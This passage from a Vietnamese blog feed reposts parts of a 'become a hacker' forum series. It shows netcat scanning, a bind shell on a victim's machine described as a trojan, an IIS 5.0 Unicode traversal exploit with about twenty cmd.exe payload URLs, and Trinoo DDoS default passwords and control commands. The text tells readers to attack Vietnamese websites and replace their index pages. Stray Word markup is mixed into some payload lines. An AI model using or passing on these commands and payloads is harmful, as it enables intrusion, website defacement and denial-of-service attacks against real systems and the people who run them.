&lt;br /&gt;PATH=/sbin:/usr/sbin:...:.
&lt;br /&gt;_ Bản Netcat cho Win không cần phải compile  vì đã có sẵn file nhị phân nc.exe. Chỉ vậy giải nén và chạy là xong.
&lt;br /&gt;&lt;u&gt;c .  ) Các tùy chọn của Netcat :
&lt;br /&gt;&lt;/u&gt;_ Netcat chạy ở chế độ dòng lệnh. Bạn chạy  nc -h để biết các tham số:
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;C:\ &gt; nc -h
&lt;br /&gt;connect to  somewhere: nc [-options] hostname port [ports] ...
&lt;br /&gt;listen for inbound: nc -l  -p port [options] [hostname] [port]
&lt;br /&gt;options:
&lt;br /&gt;-d ----------- tách Netcat  khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế độ steath(không hiển thị  trên thanh Taskbar)
&lt;br /&gt;-e prog --- thi hành chương trình prog, thường dùng  trong chế độ lắng nghe
&lt;br /&gt;-h ----------- gọi hướng dẫn
&lt;br /&gt;-i secs ----- trì  hoãn secs mili giây trước khi gởi một dòng dữ liệu đi
&lt;br /&gt;-l ------------- đặt  Netcat vào chế độ lắng nghe để chờ các kết nối đến
&lt;br /&gt;-L ------------ buộc  Netcat ``cố`` lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối. 
&lt;br /&gt;-n ------------ chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 192.168.16.7,  Netcat sẽ không thẩm vấn DNS
&lt;br /&gt;-o ------------ file ghi nhật kí vào file 
&lt;br /&gt;-p port ----- chỉ định cổng port
&lt;br /&gt;-r yêu cầu Netcat chọn cổng ngẫu  nhiên(random)
&lt;br /&gt;-s addr ----- giả mạo địa chỉ IP nguồn là addr
&lt;br /&gt;-t  ------------- không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn  telnet đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet  client của bạn gởi đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn  sử dụng netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này  đến telnetd.
&lt;br /&gt;-u ------------- dùng UDP(mặc định netcat dùng TCP)
&lt;br /&gt;-v  ------------- hiển thị chi tiết các thông tin về kết nối hiện tại.
&lt;br /&gt;-vv  ----------- sẽ hiển thị thông tin chi tiết hơn nữa.
&lt;br /&gt;-w secs ---- đặt thời  gian timeout cho mỗi kết nối là secs mili giây
&lt;br /&gt;-z ------------- chế độ zero  I/O, thường được sử dụng khi scan port
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Netcat hổ trợ phạm vi cho số  hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080 
&lt;br /&gt;
&lt;br /&gt;&lt;u&gt;d . ) Tìm hiểu Netcat qua các VD :
&lt;br /&gt;&lt;/u&gt;
&lt;br /&gt;_ Chộp &lt;a href="http://www.ddth.com/autolink.php?id=12&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;banner&lt;/a&gt; của web server :
&lt;br /&gt;
&lt;br /&gt;Ví dụ: nc đến 172.16.84.2,  cổng 80
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;C:\ &gt; nc 172.16.84.2 80
&lt;br /&gt;HEAD / HTTP/1.0 (tại đây  bạn gõ Enter 2 lần)
&lt;br /&gt;HTTP/1.1 200 OK
&lt;br /&gt;Date: Sat, 05 Feb 2000 20:51:37 GMT 
&lt;br /&gt;Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk)  mod_ssl/2.8.2
&lt;br /&gt;OpenSSL/0.9.6 PHP/4.0.4pl1
&lt;br /&gt;Connection: close 
&lt;br /&gt;Content-Type: text/html
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Để biết thông tin chi tiết về kết nối,  bạn có thể dùng –v ( -vv sẽ
&lt;br /&gt;cho biết các thông tin chi tiết hơn nữa) 
&lt;br /&gt;
&lt;br /&gt;C:\ &gt; nc -vv 172.16.84.1 80
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;172.16.84.1: inverse &lt;a href="http://www.ddth.com/autolink.php?id=1&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;host&lt;/a&gt; lookup failed: h_errno 11004: NO_DATA
&lt;br /&gt;(UNKNOWN)  [172.16.84.1] 80 (?) open
&lt;br /&gt;HEAD / HTTP/1.0
&lt;br /&gt;HTTP/1.1 200 OK
&lt;br /&gt;Date: Fri,  04 Feb 2000 14:46:43 GMT
&lt;br /&gt;Server: Apache/1.3.20 (Win32)
&lt;br /&gt;Last-Modified:  Thu, 03 Feb 2000 20:54:02 GMT
&lt;br /&gt;ETag: ``0-cec-3899eaea``
&lt;br /&gt;Accept-Ranges:  bytes
&lt;br /&gt;Content-Length: 3308
&lt;br /&gt;Connection: close
&lt;br /&gt;Content-Type: text/html 
&lt;br /&gt;sent 17, rcvd 245: NOTSOCK
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Nếu muốn ghi nhật kí, hãy dùng -o .  Ví dụ:
&lt;br /&gt;
&lt;br /&gt;nc -vv -o nhat_ki.log 172.16.84.2 80
&lt;br /&gt;
&lt;br /&gt;xem file nhat_ki.log  xem thử nó đã ghi những gì nhé :
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;&lt; 00000000 48 54 54 50 2f  31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK.
&lt;br /&gt;&lt; 00000010 0a 44 61  74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F
&lt;br /&gt;&lt; 00000020 65  62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54
&lt;br /&gt;&lt;  00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap 
&lt;br /&gt;&lt; 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20  (Win
&lt;br /&gt;&lt; 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 #  32)..Last-Modifi
&lt;br /&gt;&lt; 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62  20 # ed: Thu, 03 Feb
&lt;br /&gt;&lt; 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20  47 4d # 2000 20:54:02 GM
&lt;br /&gt;&lt; 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d  63 65 63 2d # T..ETag: ``0-cec-
&lt;br /&gt;&lt; 00000090 33 38 39 39 65 61 65 61 22 0d  0a 41 63 63 65 70 # 3899eaea``..Accep
&lt;br /&gt;&lt; 000000a0 74 2d 52 61 6e 67 65 73  3a 20 62 79 74 65 73 0d # t-Ranges: bytes.
&lt;br /&gt;&lt; 000000b0 0a 43 6f 6e 74 65  6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length:
&lt;br /&gt;&lt; 000000c0 20 33 33 30  38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio
&lt;br /&gt;&lt; 000000d0 6e 3a 20  63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten
&lt;br /&gt;&lt; 000000e0 74  2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm
&lt;br /&gt;&lt;  000000f0 6c 0d 0a 0d 0a # l....
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;dấu &lt; nghĩa là server gởi đến  netcat
&lt;br /&gt;dấu &gt; nghĩa là netcat gởi đến server
&lt;br /&gt;
&lt;br /&gt;&lt;u&gt;_ Quét cổng :&lt;/u&gt; 
&lt;br /&gt;Bạn hãy chạy netcat với tùy chọn –z . Nhưng để quét cổng nhanh hơn, bạn hãy  dùng -n vì netcat sẽ không cần thấm vấn DNS. Ví dụ để scan các cổng TCP(1- &gt;  500) của &lt;a href="http://www.ddth.com/autolink.php?id=1&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;host&lt;/a&gt; 172.16.106.1
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;[dt@vicki /]# nc -nvv -z  172.16.106.1 1-500
&lt;br /&gt;(UNKNOWN) [172.16.106.1] 443 (?) open
&lt;br /&gt;(UNKNOWN)  [172.16.106.1] 139 (?) open
&lt;br /&gt;(UNKNOWN) [172.16.106.1] 111 (?) open 
&lt;br /&gt;(UNKNOWN) [172.16.106.1] 80 (?) open
&lt;br /&gt;(UNKNOWN) [172.16.106.1] 23 (?)  open
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;nếu bạn cần scan các cổng UDP, dùng -u
&lt;br /&gt;
&lt;br /&gt;CODE 
&lt;br /&gt;[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
&lt;br /&gt;(UNKNOWN) [172.16.106.1]  1025 (?) open
&lt;br /&gt;(UNKNOWN) [172.16.106.1] 1024 (?) open
&lt;br /&gt;(UNKNOWN)  [172.16.106.1] 138 (?) open
&lt;br /&gt;(UNKNOWN) [172.16.106.1] 137 (?) open 
&lt;br /&gt;(UNKNOWN) [172.16.106.1] 123 (?) open
&lt;br /&gt;(UNKNOWN) [172.16.106.1] 111 (?)  open
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;u&gt;_ Biến Netcat thành một trojan :&lt;/u&gt;
&lt;br /&gt;Trên máy tính của  nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn –l ( listen )  và -p port để xác định số hiệu cổng cần lắng nghe, -e để yêu cầu netcat thi hành  1 chương trình khi có 1 kết nối đến, thường là shell lệnh cmd.exe ( đối với NT)  hoặc /bin/sh(đối với Unix). Ví dụ:
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;E:\ &gt; nc -nvv -l -p 8080  -e cmd.exe
&lt;br /&gt;listening on [any] 8080 ...
&lt;br /&gt;connect to [172.16.84.1] from  (UNKNOWN) [172.16.84.1] 3159
&lt;br /&gt;sent 0, rcvd 0: unknown socket error 
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy  nạn nhân trên cổng đã định, chẳng hạn như 8080
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;C:\ &gt; nc -nvv  172.16.84.2 8080
&lt;br /&gt;(UNKNOWN) [172.16.84.2] 8080 (?) open
&lt;br /&gt;Microsoft Windows  2000 [Version 5.00.2195]
&lt;br /&gt;(C) Copyright 1985-1999 Microsoft Corp.
&lt;br /&gt;E:\  &gt; cd test
&lt;br /&gt;cd test
&lt;br /&gt;E:\test &gt; dir /w
&lt;br /&gt;dir /w
&lt;br /&gt;Volume in drive  E has no label.
&lt;br /&gt;Volume ****** Number is B465-452F
&lt;br /&gt;Directory of E:\test 
&lt;br /&gt;[.] [..] head.log NETUSERS.EXE NetView.exe
&lt;br /&gt;ntcrash.zip password.txt  pwdump.exe
&lt;br /&gt;6 File(s) 262,499 bytes
&lt;br /&gt;2 Dir(s) 191,488,000 bytes free 
&lt;br /&gt;C:\test &gt; exit
&lt;br /&gt;exit
&lt;br /&gt;sent 20, rcvd 450: NOTSOCK
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Như  các bạn đã thấy , ta có thể làm những gì trên máy của nạn nhân rồi , chỉ cần một  số lệnh cơ bản , ta đã chiếm được máy tính của đối phương , các bạn hãy xem tiếp  nhé :
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;E:\ &gt; nc -nvv -L -p 8080 -e cmd.exe
&lt;br /&gt;listening on  [any] 8080 ...?
&lt;br /&gt;?
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Riêng đối với Netcat cho Win, bạn có thể lắng  nghe ngay trên cổng đang lắng nghe. Chỉ cần chỉ định địa chỉ nguồn là  -s&lt;địa_chỉ_ip_của_máy_này &gt; . Ví dụ:
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;netstat -a
&lt;br /&gt;... 
&lt;br /&gt;TCP nan_nhan:domain nan_nhan:0 LISTENING &lt;- cổng 53 đang lắng nghe 
&lt;br /&gt;...
&lt;br /&gt;E:\ &gt; nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 - &gt; lắng nghe  ngay trên cổng 53
&lt;br /&gt;listening on [172.16.84.1] 53 ...
&lt;br /&gt;connect to  [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163?
&lt;br /&gt;?
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Trên Windows  NT, để đặt Netcat ở chế độ lắng nghe, không cần phải có quyền Administrator, chỉ  cần login vào với 1 username bình thường khởi động Netcat là xong.
&lt;br /&gt;Chú ý:  bạn không thể chạy netcat với ... -u -e cmd.exe... hoặc ...-u -e /bin/sh... vì  netcat sẽ không làm việc đúng. Nếu bạn muốn có một UDP shell trên Unix, hãy dùng  udpshell thay cho netcat.
&lt;br /&gt;
&lt;br /&gt;( Dựa theo bài viết của huynh Vicky ) 
&lt;br /&gt;
&lt;br /&gt;49 . ) Kỹ thuật hack IIS server 5.0 :
&lt;br /&gt;
&lt;br /&gt;_ IIS server với  các phiên bản từ trước đến phiên bản 5.0 đều có lỗi để ta có thể khai thác , do  bây giờ hầu hết mọi người đều dùng IIS server 5.0 nên lỗi ở các phiên bản trước  tôi không đề cập đến . Bây giờ tôi sẽ bày các bạn cách hack thông qua công cụ  activeperl và IE , các bạn có thể vận dụng cho các trang Web ở VN vì chúng bị  lỗi này rất nhiều . Ta hãy bắt đầu nhé .
&lt;br /&gt;_ Trước hết các bạn hãy download  activeperl và Unicode.pl .
&lt;br /&gt;_ Sử dụng telnet để xác định trang Web ta tấn  công có sử dụng IIS server 5.0 hay không :
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;telnet &lt;&gt; 80
&lt;br /&gt;GET HEAD / HTTP/1.0
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Nếu nó không báo cho ta  biết mục tiêu đang sử dụng chương trình gì thì các bạn hãy thay đổi cổng 80 bằng  các cổng khác như 8080, 81, 8000, 8001 .v.v…
&lt;br /&gt;_ Sau khi đã xác định được mục  tiêu các bạn vào DOS gõ :
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;perl unicode.pl
&lt;br /&gt;Host: ( gõ địa  chỉ server mà các bạn muốn hack )
&lt;br /&gt;Port: 80 ( hoặc 8080, 81, 8000, 8001 tuỳ  theo cổng mà ta đã telnet trước đó ) .
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;_ Các bạn sẽ thấy bảng liệt  kê lỗi ( đã được &lt;a href="http://www.ddth.com/autolink.php?id=10&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;lập trình&lt;/a&gt; trong Unicode.pl ) như sau :
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;[1]  /scripts/..%c0%af../winnt/system32/cmd.exe?/c+ 
&lt;br /&gt;[2]/scripts..%c1%9c../winnt/system32/cmd.exe?/c+
&lt;br /&gt;[3]  /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+ 
&lt;br /&gt;[4]/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+
&lt;br /&gt;[5]  /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+
&lt;br /&gt;[6]  /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+
&lt;br /&gt;[7]  /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+
&lt;br /&gt;[8]  /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+
&lt;br /&gt;[9]  /scripts/..%c1%af../winnt/system32/cmd.exe?/c+
&lt;br /&gt;[10]  /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+ 
&lt;br /&gt;[11]/scripts/..%f0%80%80%af../winnt/system32/cmd.ex e?/c+
&lt;br /&gt;[12]  /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe ?/c+ 
&lt;br /&gt;[13]/scripts/..%fc%80%80%80%80%af../winnt/system32/ cmd.exe?/c+ 
&lt;br /&gt;[14]/m&lt;v:shapetype id="_x0000_t75" coordsize="21600,21600" preferrelative="t" spt="75" filled="f" stroked="f" path=" m@4@5 l@4@11@9@11@9@5 xe"&gt; &lt;v:stroke joinstyle="miter"&gt;&lt;/v:stroke&gt;&lt;v:formulas&gt;&lt;v:f eqn="if lineDrawn pixelLineWidth 0 "&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @0 1 0 "&gt;&lt;/v:f&gt;&lt;v:f eqn="sum 0 0 @1 "&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @2 1 2 "&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @3 21600 pixelWidth "&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @3 21600 pixelHeight "&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @0 0 1 "&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @6 1 2 "&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @7 21600 pixelWidth "&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @8 21600 0 "&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @7 21600 pixelHeight "&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @10 21600 0 "&gt;&lt;/v:f&gt;&lt;/v:formulas&gt;&lt;v:path extrusionok="f" gradientshapeok="t" connecttype="rect"&gt;&lt;/v:path&gt;&lt;o:lock aspectratio="t" ext="edit"&gt;&lt;/o:lock&gt;&lt;/v:shapetype&gt;&lt;v:shape id="_x0000_i1025" style="width: 13.5pt; height: 13.5pt;" type="#_x0000_t75" coordsize="21600,21600" alt=""&gt;&lt;/v:shape&gt;c/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0  \%80\%af../winnt/system32/cmd.exe?/c+ 
&lt;br /&gt;[15]/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%  af../winnt/system32/cmd.exe?/c+ 
&lt;br /&gt;[16]/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%  af../winnt/system32/cmd.exe?/c+
&lt;br /&gt;[17]/ii&lt;v:shape id="_x0000_i1026" style="width: 13.5pt; height: 13.5pt;" type="#_x0000_t75" coordsize="21600,21600" alt=""&gt;&lt;/v:shape&gt;mpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c  0%af../winnt/system32/cmd.exe?/c+ 
&lt;br /&gt;[18]/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0  %af../winnt/system32/cmd.exe?/c+ 
&lt;br /&gt;[19]/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0  %af../winnt/system32/cmd.exe?/c+ 
&lt;br /&gt;[20]/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c  0%af../winnt/system32/cmd.exe?/c+
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Các bạn sẽ thấy được tất cả các  lỗi trên nếu trang Web nạn nhân bị tất cả những lỗi như vậy , nếu server của nạn  nhân chỉ bị lỗi thứ 13 và 17 thì bảng kết quả chỉ xuất hiện dòng thứ 13 và 17 mà  thôi .
&lt;br /&gt;Tôi lấy VD là bảng kết quả cho tôi biết trang Web nạn nhân bị lỗi thứ  3 và 7 , tôi sẽ ra IE và nhập đoạn mã tương ứng trên Address :
&lt;br /&gt;
&lt;br /&gt;&lt;a href="http://www.xxx.com/scripts/..%c1%25p" target="_blank"&gt;http://www.xxx.com/scripts/..%c1%p&lt;/a&gt;  c../winnt/system32/cmd.exe?/c+ &lt; == lỗi dòng thứ 3
&lt;br /&gt;hoặc
&lt;br /&gt;&lt;a href="http://www.xxx.com/scripts/..%c1%251" target="_blank"&gt;http://www.xxx.com/scripts/..%c1%1&lt;/a&gt;  c../winnt/system32/cmd.exe?/c+ &lt; == lỗi dòng thứ 7&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal"&gt; &lt;span style="" lang="VI"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal"&gt;&lt;span style="" lang="VI"&gt;Đến đây các  bạn đã có thể xâm nhập vào &lt;a href="http://www.ddth.com/autolink.php?id=5&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;server&lt;/a&gt; của nạn nhân rồi đó , các bạn hãy sử dụng lệnh trong  DOS mà khai thác thông tin trong này . Thông thường các trang Web nằm ở thư mục  vinetpub\wwwroot , các bạn vào được rồI thì chỉ cần thay index.html vớI tên hack  by …. Là được rồi , đừng quậy họ nhé .&lt;/span&gt;&lt;span style="" lang="VI"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal"&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal"&gt;&lt;span style="" lang="VI"&gt;Anhdenday 
&lt;br /&gt;HVA&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 7</title><link>http://blogthuthuatvn.blogspot.com/2009/10/nhung-hieu-biet-co-ban-nhat-e-tro-thanh_6503.html</link><category>Câu chuyện IT</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Fri, 9 Oct 2009 02:30:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-7438520966710580953</guid><description>&lt;span style="font-weight: bold; font-family: arial;"&gt;41 . ) Tấn công DDoS thông qua Trinoo : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;_ Bạn đã biết DDoS attack là gì rồi phải không ? Một cuộc tấn công DDoS bằng Trinoo được thực hiện bởi một kết nối của Hacker Trinoo Master và chỉ dẫn cho Master để phát động một cuộc tấn công DDoS đến một hay nhiều mục tiêu. Trinoo Master sẽ liên lạc với những Deadmons đưa những địa chỉ được dẫn đến để tấn công một hay nhiều mục tiêu trong khoảng thời gian xác định . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;_ Cả Master và Deamon đều được bảo vệ bằng Passwd . chỉ khi chúng ta biết passwd thì mới có thể điều khiển được chúng , điều này không có gì khó khăn nếu chúng ta là chủ nhân thực sự của chúng . Những passwd này thường được mã hoá và bạn có thể thiết lập khi biên dịch Trinoo từ Source ----- &gt; Binnary. Khi được chạy , Deadmons sẽ hiện ra một dấu nhắc và chờ passwd nhập vào , nếu passwd nhập sai nó sẽ tự động thoát còn nếu passwd được nhập đúng thì nó sẽ tự động chạy trên nền của hệ thống . &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;attacker$ telnet 10.0.0.1 27665 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Trying 10.0.0.1 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Connected to 10.0.0.1 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Escape character is `^]`. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;kwijibo &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Connection closed by foreign host. &lt; == Bạn đã nhập sai    attacker$ telnet 10.0.0.1 27665  Trying 10.0.0.1  Connected to 10.0.0.1  Escape character is `^]`.  betaalmostdone  trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]  trinoo &gt; &lt; == bạn đã vào được hệ thống trinoo   _ Đây là vài passwd mặc định :   “l44adsl``: pass của trinoo daemon .  ``gorave``: passwd của trinoo master server khi startup .  ``betaalmostdone``: passwd điều khiển từ xa chung cho trinoo master .  ``killme``: passwd trinoo master điều khiển lệnh ``mdie`` .   _ Đây là một số lệnh dùng để điều khiển Master Server:    CODE  die------------------------------------------------ ------------Shutdown.  quit----------------------------------------------- -------------Log off.  mtimer N-------------------------------------------------- --Đặt thờI gian để tấn công DoS , vớI N nhận giá trị từ 1-- &gt; 1999 giây . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;dos IP------------------------------------------------- ------Tấn công đến một địa chỉ IP xác định . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;mdie pass----------------------------------------------- ----Vô hiệu hoá tất cả các Broadcast , nếu như passwd chính xác . Một lệnh đưọc gửi tới (``d1e l44adsl``) Broadcast để Shutdown chúng . Một passwd riêng biệt sẽ được đặt cho mục này &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;mping---------------------------------------------- ----------Gửi một lệnh ping tới (``png l44adsl``) c¸c Broadcast. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;mdos ------------------------------------------Send nhiều lênh DOS (``xyz l44adsl 123:ip1:ip2``) đến các Broadcast. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;info----------------------------------------------- --------------Hiển thị thông tin về Trinoo . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;msize---------------------------------------------- ------------Đặt kích thước đệm cho những gói tin được send đi trong suốt thờI gian DoS. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;nslookup host----------------------------------------------X ác định tên thiết bị của Host mà Master Trinoo đang chạy . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;usebackup------------------------------------------ ---------Chuyển tớI các file Broadcast sao lưu được tạo bởi lệnh “killdead”. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;bcast---------------------------------------------- -------------Liệt kê danh sách tất cả các Broadcast có thể khai thác . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;help [cmd] --------------------------------------------------- Đưa ra danh sách các lệnh . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;mstop---------------------------------------------- -------------Ngừng lại các cuốc tấn công DOS . &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;_ Đây là một số lệnh dùng để điều khiển Trinoo Deadmons: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;CODE &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;aaa pass IP------------------------------------------------- ---Tấn công đến địa chỉ IP đã xác định . GửI gói tin UDP (0-65534) đến cổng của UDP của địa chỉ IP đã xác định trong một khoảng thời gian xác định được mặc định là 120s hay từ 1-- &gt; 1999 s . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;bbb pass N-------------------------------------------------- ---Đặt thờI gian giới hạn cho các cuộc tấn công DOS . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Shi pass----------------------------------------------- ---------Gửi chuỗi “*HELLO*” tới dánh sách Master Server đã được biên dịch trong chương trình trên cổng 31335/UDP. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;png pass----------------------------------------------- --------Send chuỗi “Pong” tớI Master Server phát hành các lệnh điều khiển trên cổng 31335/UDP. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;die pass----------------------------------------------- ---------Shutdown Trinoo. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;rsz N-------------------------------------------------- ----------Là kích thước của bộ đệm được dùng để tấn công , nó được tính bằng byte . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;xyz pass 123:ip1:ip3---------------------------------------- tấn công DOS nhiều mục tiêu cùng lúc . &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;( Dựa theo hướng dẫn của huynh Binhnx2000 ) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Còn nhiều đoạn mã và cách ứng dụng để DoS lắm , các bạn chịu khó tìm hiểu thêm nhé . Nhưng đừng tấn công lung tung , nhất là server của HVA , coi chừng không thu được hiệu quả mà còn bị lock nick nữa đó &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Hết phần 6 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Anhdenday &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;HVaonline.net&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 7 / 19-12-2004 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;42 . ) Kỹ thuật ấn công DoS vào WircSrv Irc Server v5.07 : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;_ WircSrv IRC là một Server IRC thông dụng trên Internet ,nó sẽ bị Crash nếu như bị các 